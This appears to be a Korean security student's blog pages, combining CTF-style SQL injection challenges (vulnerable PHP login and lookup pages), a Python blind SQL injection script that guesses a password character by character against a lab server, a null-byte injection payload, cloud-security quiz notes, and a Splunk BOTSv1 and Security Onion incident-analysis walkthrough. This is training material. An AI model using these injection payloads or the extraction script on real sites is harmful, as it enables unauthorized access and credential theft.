1.

 

<html>
<head>
<title>SQL Binary</title>
</head>
<body>
<?php
@mysql_connect("localhost","","");
@mysql_select_db("");

/*

mysql> desc mem;
+-------+-------------+------+-----+---------+-------+
| Field | Type        | Null | Key | Default | Extra |
+-------+-------------+------+-----+---------+-------+
| no    | int(50)     | YES  |     | NULL    |       |
| id    | varchar(50) | YES  |     | NULL    |       |
| pw    | varchar(50) | YES  |     | NULL    |       |
+-------+-------------+------+-----+---------+-------+
3 rows in set (0.00 sec)

*/

if($_GET[no])
{
    if(eregi("from|union|ascii|char|0x",$_GET[no])) exit("Access Denied");
    $q=@mysql_fetch_array(mysql_query("select * from mem where no=$_GET[no]"));
    if($q)
    {
        echo("no : $q[no]<br>id : $q[id]<br>pw : ?");
        exit();
    }
}

echo("<form method=get action=index.php>user_no<br><input type=text name=no value=1><br><br><input type=submit></form>");
?>
<br>
<a href=index.phps>index.phps</a>
</body>
</html>

 

 

 

SQL Injection을 이용해 웹 페이지에서 비밀번호를 추측하려는 스크립트 ↓

import requests
import os

search='?'

lower=list()
for n in range(0, 130):
    if n<131:
        lower.append(n)
        n=n+1
        
for i in range(1,8):
    for l in lower:                
        URL="http://192.168.101.201/challenges/sql_binary/index.php?no=2 and ord(substr(pw,"+str(i)+",1))="+str(l)+"%23"
        res = requests.get(URL)
        if search in res.text:
            m=chr(l)
            print(i,m,l)

 

 

 

코드 해석

 

 

 

 

 


 

 

 

2. 

'보안 > 취약점 진단 및 대응' 카테고리의 다른 글

SQL Injection 문제 1, 2, 3  (0) 2024.12.21

1.

 

 

 

<html>
<head>
<style type="text/css">
* { margin:0 auto; padding:10pt; }
input[type=submit] { width:150pt; }
</style>
<title>SQL 100</title>
</head>
<body>
<?php
    mysql_connect("localhost","","");
    mysql_select_db("");
    $password=md5("????");
    if($_GET[id] && $_GET[pw])
    {
        // injection point
        $query="select id,pw from user where id='$_GET[id]' and pw='$_GET[pw]'";
        $data=mysql_fetch_array(mysql_query($query));

        if($data[id]=="guest")
        {
            echo("hi guest!");
        }

        else if($data[id]=="admin")
        {
            echo("hi admin!");
            echo("<br>password is $password");
        }

        else
        {
            echo("Wrong<br>".htmlspecialchars($query)."<br>");
        }
    echo("<br><br><a href=index.php>Done</a>");
    exit();
    }
?>

<form method=get action=index.php>
<table border=0 align=center cellpadding=20 cellspacing=0>
<tr><td>username</td><td><input type=text name=id value='guest'></td></tr>
<tr><td>password</td><td><input type=password name=pw value='guest'></td></tr>
<tr><td colspan=2 align=center><input type=submit value='Login'></td></tr>
</table>
</form>
<center><a href=index.phps>index.phps</a></center>
</body>
</html>

 

 

admin으로 로그인 해서 password를 알아내는 문제

 

 

burp suite로 테스트 해보라는데 ...

뭘 알아야...

 

 

 

 

해설

 

 


 

 

 

2. 

 

 

<html>
<head>
<style type="text/css">
* { margin:0 auto; padding:10pt; }
input[type=submit] { width:100pt; }
div { background:lightblue;text-align:center;width:300pt; }
</style>
<title>SQL 150</title>
</head>
<body>
<center>
<?php
    mysql_connect("localhost","","");
    mysql_select_db("");
    $password=md5("????");

    if($_GET[no])
    {
        if(eregi("[a-z]",$_GET[no])) exit("Access Denied");
        $query="select * from user where no=$_GET[no]";
        $data=mysql_fetch_array(mysql_query($query));
        if($data[user]=="guest") echo("hi guest");
        else if($data[user]=="admin") echo("password is $password");
        else echo("Wrong<br>".htmlspecialchars($query));
    }
?>
</center>

<form method=get action=index.php>
<div>No <input type=text name=no value='1234'><input type=submit></div>
</form>
<center><a href=index.phps>index.phps</a></center>
</body>
</html>

 

 

 

해설

php에서 함수의 매개변수로 NULL값이 전달되었을 때, 내부적으로 문자열로 변환되는 경우가 많음

 

 

input에 1234를 입력하고 제출 버튼 클릭 

/index.php?no=1234 이렇게 쿼리 스트링이 날아감

 

no=%27%00%27 or 1=1 order by no desc%23  이렇게 적어주면 되는데

 

%27%00%27 or 1=1 order by no desc%23 는 인코딩 된 형태

디코딩 하면 ↓

' NULL ' or 1=1 order by no desc #

 

%27 → 싱글쿼터 (')

%00 → NULL

%23 → #

 

 

 

 

3.

 

 

<html>
<head>
<style type="text/css">
* { margin:0 auto; padding:10pt; }
input[type=submit] { width:100pt; }
div { background:lightblue;text-align:center;width:300pt; }
</style>
<title>SQL SPACE</title>
</head>
<body>
<center>
<?php
    mysql_connect("","","");
    mysql_select_db("");

    $password="????";

    if($_GET[id] && $_GET[pw])
    {
        $_GET[pw]=addslashes($_GET[pw]);
        $_GET[id]=str_replace(" ","",$_GET[id]);
        $_GET[pw]=str_replace(" ","",$_GET[pw]);
        $query="select * from user where pw='$_GET[pw]' and user='$_GET[id]'";
        echo("<b>".htmlspecialchars($query)."</b><br>");
        $data=mysql_fetch_array(mysql_query($query));
        if($data[user]=="guest") echo("hi guest");
        if($data[user]=="admin") echo("password is $password");
    }
?>
</center>
<form method=get action=index.php>
<table border=0 align=center cellpadding=10>
<tr><td>ID</td><td><input type=text name=id value='guest'></td></tr>
<tr><td>PW</td><td><input type=password name=pw value='guest'></td></tr>
<tr><td colspan=2 align=center><input type=submit value='Login'></td></tr>
</table>
</form>
</body>
</html>

 

 

 

 

 

 

 

 

pw = a 인 것은 그냥 파라미터가 넘어가야해서 넣어준것

 

'보안 > 취약점 진단 및 대응' 카테고리의 다른 글

SQL Injection  (0) 2024.12.21

1.공통된 컴퓨터 자원을 여러 사용자가 나누어 함께 사용하는 형태를 (Multi-tenancy) 라고 한다.

 

2. 컴퓨팅 자원 필요 시 구축, 설치 과정 없이 즉각적 이용이 가능한 클라우드 서비스의 특징을 (온디멘드) 라고 한다.

 

3. 필요에 따라 컴퓨팅 자원의 확대, 축소하여 탄력적 사용이 가능한 특징을 (오토스케일링) 이라고 한다

 

4. (멀티 클라우드)란 고객(CSC)이 둘 이상의 클라우드 서비스 제공법제의 클라우드 서비스를 동시에 사용하는 형태를 뜻한다.

 

5.  AIaaS는 SaaS의 일종이다.

 

 

 

A. (공동보안책임 모델)이란 클라우드 서비스 고객과 클라우드 서비스 제공자가 각자의 통제 영역에 대한 보안 책임이 따르는 특성을 뜻한다.

 

B. IaaS, PaaS, SaaS는 (범주모델)에 따른 클라우드 유형 분류이다.

 

C. Public C;oud, Private Cloud, Hybrid Cloud는 (배치모델)에 따른 클라우드 유형 분류이다.

 

D. Amazon EC2 인스턴스에서 소프트웨어 패치 적용은 (CSC) 의 책임 영역이다.

 

E. Amazon EC2 인스턴스가 실행하는 물리서버의 관리는 (CSP) 의 책임 영역이다. 

 

 

 

 


 

 

보안 목표

  • 기밀성
  • 무결성
  • 가용성

 

 

On-premise

 

기업의 서버를 클라우드 같은 원격 환경에서 운영하는 방식이 아닌, 자체적으로 보유한 전산실 서버에 직접 설치해 운영하는 방식

 

클라우드 컴퓨팅 기술이 나오기 전까지 기업 인프라 구축의 일반적인 방식

장점: 기업의 비즈니스 정보를 보안성 높게 관리할 수 있다는 것

단점: 시스템을 구축하는데 있어서 많은 시간 & 많은 비용 소요

 

보안성 높은 데이터 → 온프레미스 환경

보안성 낮은 데이터 → 클라우드 환경

 

클라우드 방식의 서비스 → Off-premise

 

 

 

 

'보안 > 컨설팅' 카테고리의 다른 글

클라우드 컴퓨팅 서비스  (0) 2024.12.18

공유 경제

구독 경제

 

CSC  →  customer (클라우드 서비스 고객)

CSP  →  provider(클라우드 서비스 제공자)

 

공동 보안책임 모델

CSC와 CSP가 공동으로 보안책임을 가지는 특성

각자의 통제 영역에 대한 보안 책임이 따름

 

 

메모리 관리 기법 (단편화 문제)

외부단편화

내부단편화

 

단편화 문제를 어떻게 해결하는지

페이징기법

 

 

 

 

 

MSA  →  Microservice Architecture

 

 

 

Serverless  →  서버의 구축, 관리를 클라우드 사업자가 제공하여 사용자는 서버의 구축 관리 없이 애플리케이션을 실행할 수 있는 시스템 아키텍쳐

 

 

MEC(Multi-Access-Edge Computing)

중앙 네트워크로 연결하는 대신 네트워크 에지에서 직접 처리하여 고대역, 실시간 서비스를 제공하는 기술

Edge Computing: 사용자나 데이터 소스의 물리적 위치와 가장 가까운 곳에서 컴퓨팅을 수행하는 방식

 

 

 

On Demand

주문형 서비스

컴퓨팅 자원 필요 시(on demand)구축, 설치 과정 없이 즉각적 이용이 가능한 특징

 

 

 

 

 

 

 

 

 

 

'보안 > 컨설팅' 카테고리의 다른 글

보안의 영역과 보안기술  (0) 2024.12.18

 

 Index=* sourtype=suricata | top limit 20 ip (예시)

 

index="name" 으로 기본 search

earlyest=0 을 붙임으로써 모든 시간 검색

특정 시간은 오른쪽 시간 정보에서 범위 지정

sourcetype and field가 핵심

 

1) 소스타입은 내가 분석해야하는 데이터 유형을 볼 수 있음

ex)sysmon 로그, apache log, http proxy 로그 등

>> 소스타입을 분석함으로써 내가 위협데이터 분석에 활용할 수 있는 로그를 식별할 수 있음

 

소스타입을 클릭하면 상위 10개만 출력됨

전체를 출력할 필요 있음 (중복 제거 후)

 

index="test" | dedup soruceType | table sourceType

                      중복 제거                  출력 하겠다

 

 

2) 각각의 소스타입 별로 구성되는 필드를 확인해야 함

index="test" sourcetype="apache_access" 특정 소스타입 필터 후 확인 해야함

 

3) 필드 별 연관성 분석

출발지 ip, 목적지 ip, port, useragent, Rule ID, command ... 등이 중요

 

4) 쿼리를 만들어야 함 (위협 데이터 식별)

index="test" sourcetype="apache_access" s_ip="1.1.1.1" d_ip="2.2.2.2" agent="curl*"

 

 


 

 

splunk 재시작 후 

로그인 

settings index가서 botsv1 추가 됐는지 확인

 

 

 

 

 

 

 

 

 

 

 

 

 

실습 시작

 

전체 소스 타입 보기

 

 

Q_Bots_v1 시나리오

 

대기업 조직인 Wayne Enterprises 는 최근 사이버 공격에 직면하여 공격자가 네트워크에 침입하여 웹 서버에 접근하고 웹사이트 http://www.imreallynotbatman.com 을 성공적으로 손상시켰습니다 . 그들의 웹사이트는 이제   아래와 같이 귀하의 사이트 가 손상되었습니다.라는 메시지와 함께 공격자의 상표를 표시하고 있습니다.

그들은 " US "에 보안 분석가 로 합류하여   이 사이버 공격을 조사하고 네트워크 내에서 근본 원인과 모든 공격자의 활동을 찾는 데 도움을 줄 것을 요청했습니다.

좋은 점은 Splunk가 이미 설치되어 있어 공격자의 활동과 관련된 모든 이벤트 로그를 캡처했다는 것입니다. 우리는 기록을 탐색하고 공격이 어떻게 그들의 네트워크에 들어갔고 그들이 어떤 행동을 취했는지 찾아야 합니다.

stream: http  >> web접속 로그 추정
sysmon: sysmon 로그
fgt_utm: 포티게이트 방화벽 로그
stream:dns: dns 쿼리 로그
stream:tcp: tcp 통신 로그 수집
suricata: ids/ips 탐지 로그

 

 

ALL Fields에서 alert.action, alert.category 체크

 

alert.action 에서 web application 클릭하면 자동으로 쿼리 추가

 

 

alert.signature 에서 CVE를 보고 

 

 


1. 하나의 suricata 경보는 공격 시도와 관련된 CVE 값을 강조 표시했습니다. CVE 값은 무엇입니까?

 

 



2. 우리 웹 서버가 사용 하는 CMS(콘텐츠 관리 시스템) 는 무엇입니까 ?

 

>> URI에 같이 노출됨 >> tcp or http

 

 

 

Request를 분석하거나 URI

 

 

중복제거  ↓

 

 

 

 

 

답이 cms


3. 공격자가 스캐닝 시도를 수행하는 데 사용한 웹 스캐너는 무엇입니까?

port scanner가 아님

WEB scanner를 찾아야함

http에서 확인

User_Agent 항목에 도구명이 기록됨

클라이언트가 서버로 접속할 때 환경정보가 기록

 

 

 

 

이렇게 검색한 후에 http_user_agent가 있나 필드 확인  ↓

 

 

scanner는 트래픽이 많이 발생함  → 100건 미만은 정상 데이터라 볼 필요 없음

 

 

모질라 클릭

쿼리가 알아서 들어감

 

 

 

 

 

 

구글에 Acunetix 검색  →  scanner 도구가 사용됐구나

 

답: Acunetix

 

 

4. imreallynotbatman.com 서버의 IP 주소는 무엇입니까?

 

http에 imreallynotbatman.com 키워드 추가 후 dest_ip 확인

 

 

필드에서 dest_ip 

 

 

 

답 : 192.168.2250.70

 


5. imreallynotbatman.com 에 대해 무차별 암호 대입 공격을 시도할 가능성이 있는 IP 주소는 무엇입니까 ?

 

    1. 특정 주소에서 특정 아이디를 대상으로 비번으로 바뀌는 경우   →  url 기반

    2. 소스코드 기반으로 시도하는 경우  →  agent에 프로그래밍 언어가 기록   → (최소 못해도 100건 이상 기록됨) python  

 

 

 

src_header: Request Header

src_content: Request Body

 

무차별대입 암호 : POST 기반 동작, 사이트가 취약하지 않는 한, 보통 body 영역 구조가 생성됨

 

POST /login http1.1  >> 헤더

 

login=admin&password=1234&submit=submit  >> body

 

user 자리에 login, id, pass 다 검색해보기

 

 

 

 

 

 

python으로 하는구나

 

 

 

 

 

답: 23.22.63.114

 


6. 무차별 대입 시도가 여러 번 발생한 URI 는 무엇입니까?

 

필드에서 uri 클릭 -> /joomla/admi... 어쩌고 나옴

 

답: joomla/administrator/index.html

 


7. 어떤 사용자 이름에 대해 무차별 대입 시도가 이루어졌습니까?

 

 

대상 타겟이 admin

답: admin

 

 

8. imreallynotbatman.com 을 실행하는 콘텐츠 관리 시스템에 대한 관리자 액세스의 올바른 비밀번호는 무엇입니까 

 

키워드 :  POST Method, username=admin 

WEB 기반에서 흔적을 찾아야 함

 

 

 

중복제거

 

src_ip  출발지 ip

dest_ip  목적이 ip 를 위에서 이미 알고 있음

 

 

2번째 값은 정상적인 src_content가 아님

 


9. 무차별 대입 시도에서 얼마나 많은 고유 암호가 시도되었습니까?

 

8번 응용하기

 

index="botsv1" earliest=0 sourcetype="stream:http" imreallynotbatman.com src_content="*user*pass*" POST http_user_agent="py*"

 

 

전체 공격시도 → 412번

 

 

 

 

 

 

Total  =  412, Fail  =  411번

 

 


10. 올바른 비밀번호를 찾은 후 공격자가 관리자 패널에 로그인하는 데 사용한 IP는 무엇입니까?

 

아까 8번 하면서 나옴

index="botsv1" earliest=0 sourcetype="stream:http" imreallynotbatman.com src_content="*user*" POST http_user_agent="Mo*" | dedup http_user_agent | table src_content,_time,src_ip,dest_ip

 


11. Sysmon은 생성되는 프로세스의 Hash 값도 수집합니다. 프로그램 3791.exe의 MD5 HASH는 무엇입니까?

 

칼리에 sysmom zip 파일 가져와서 

 

 

 

install app from file 에서  sysmon upload 하기

 

 

 

 

 

 

문제에 있던 키워드 추가

 

 

hash값 찾아보라는데 어디에서 찾는거지..

 

 

 

hash 값으로 검색 하거나

아님 "ParentCommandLine'>3791.exe" 를 추가하면

events가 69개에서 2개로 줄어들음

 

 

 

MD5 로 해시 변환한 값..... AAE3F5A29935E6ABCC2C2754D12A9AF0


12. 바이러스 토탈에서 해시를 검색하십시오. 이 파일 3791.exe와 관련된 다른 이름은 무엇입니까?

 

index="botsv1" earliest=0  sourcetype=xmlwineventlog "3791.exe" "ParentCommandLIne"

 

 

 

hash 값을 virustotal.com → search 에서 검색

 

 

Virus total  →  details 가면 자세히 볼 수 있음

 


13. imreallynotbatman.com 웹사이트를 훼손한 파일의 이름은 무엇입니까?

 

악성 파일이 업로드 되었다 or Import(Link)

 

키워드 : POST, BoardName에 upload가 들어갈 것이다

>> 공격자가 권한이 없을 때 업로드 방식

관리자 권한이 있을 때 기존 업로드 파일 바꿔치기 방식이 존재

 

 

 

위에 문제들에서 알아낸 공격자 ip 추가

 

 

DNS 질의를 통해 악성 도메인 여부 확인

 

 

 

악성 도메인 찾음

 

 

 

Exif → 사진파일

사진파일 Get

 

 

 

 

답: poisonivy-is-coming-for-you-batman.jpeg

 

 

 

14. Fortigate Firewall 'fortigate_utm'이 공격자의 IP 40.80.148.42에서 SQL 시도를 감지했습니다. SQL 주입 시도 중에 트리거된 규칙의 이름은 무엇입니까?

 

 

 

 

 

sql injection 흔적  ↓



15. 이 공격은 동적 DNS를 사용하여 악성 IP를 확인합니다. 이 공격과 관련된 FQDN(정규화된 도메인 이름)은 무엇입니까?











 

 

 

 

'보안 > 보안 관제' 카테고리의 다른 글

Security Onion - Dashboard  (0) 2024.12.13
Splunk  (0) 2024.12.12
SoC  (0) 2024.12.12
aws 로그 수집 구축  (0) 2024.12.12
Snort 환경 구축  (0) 2024.12.11

https://github.com/Muneer44/Security-Onion-Traffic-Analysis

 

GitHub - Muneer44/Security-Onion-Traffic-Analysis

Contribute to Muneer44/Security-Onion-Traffic-Analysis development by creating an account on GitHub.

github.com

 

 

 

내가 만든 룰 테스트 해볼 때 ↓

https://malware-traffic-analysis.net/index.html

 

malware-traffic-analysis.net

                                                A site for sharing packet capture (pcap) files and malware samples. I started this blog in 2013 to share pcaps and malware samples.  Due to issues with Google, I've had to take most a

www.malware-traffic-analysis.net

 

 

 

kali에서 로그인 한 후 

 

security onion에서 ip ad를 한 후

 

 

 

 

 

 

 

 

 

unzip 2024-11-26-traffic-analysis-exercise.pcap.zip

 

 

password 는 infected_20241126

 

sudo so-im  (얜 뭐지)

 

 

sudo su-import-pcap 2024-1126-traffic-analysis-exercise.pcap

 

 

security onion 명령어는 so로 시작함

 

 

 

ctrl + 링크 클릭

 

 

 

 

 

대시보드 화면 나옴 ㅜㅜ

'보안 > 보안 관제' 카테고리의 다른 글

Splunk 분석 실습  (2) 2024.12.13
Splunk  (0) 2024.12.12
SoC  (0) 2024.12.12
aws 로그 수집 구축  (0) 2024.12.12
Snort 환경 구축  (0) 2024.12.11

 

이 3개 중요함

 

 

 

Splunk 구성

index: 일종의 DB라고 생각하면 됨

source Type: DB를 구성하는 테이블 정보라고 보면 됨

이미 알려진 로그들의 필드정보를 가지고 있음

fields: column이라고 보면 됨

 

 

indexes

 

 

 

 

source Types

 

 

 

 

fields

 

 

 

 

Search & Reporting 을 많이씀

 

 

이 3개 많이 씀

 

Search에서 index="" 가 기본이 됨

** 검색하는 과정에서 시간 설정 중요 **

'보안 > 보안 관제' 카테고리의 다른 글

Splunk 분석 실습  (2) 2024.12.13
Security Onion - Dashboard  (0) 2024.12.13
SoC  (0) 2024.12.12
aws 로그 수집 구축  (0) 2024.12.12
Snort 환경 구축  (0) 2024.12.11

 

네트워크 장치 ↓

 

 

 

 

 

아무거나 넣기 (기억해 두고 있어야 함) pw -> 

 

 

 

 

설치중...

 

 

 

SIEM의 보안기능

 

고급 위협 탐지 → 로그 간 체인

 

 

 

 

 

'보안 > 보안 관제' 카테고리의 다른 글

Security Onion - Dashboard  (0) 2024.12.13
Splunk  (0) 2024.12.12
aws 로그 수집 구축  (0) 2024.12.12
Snort 환경 구축  (0) 2024.12.11
Snort Rule 구조  (0) 2024.12.11

+ Recent posts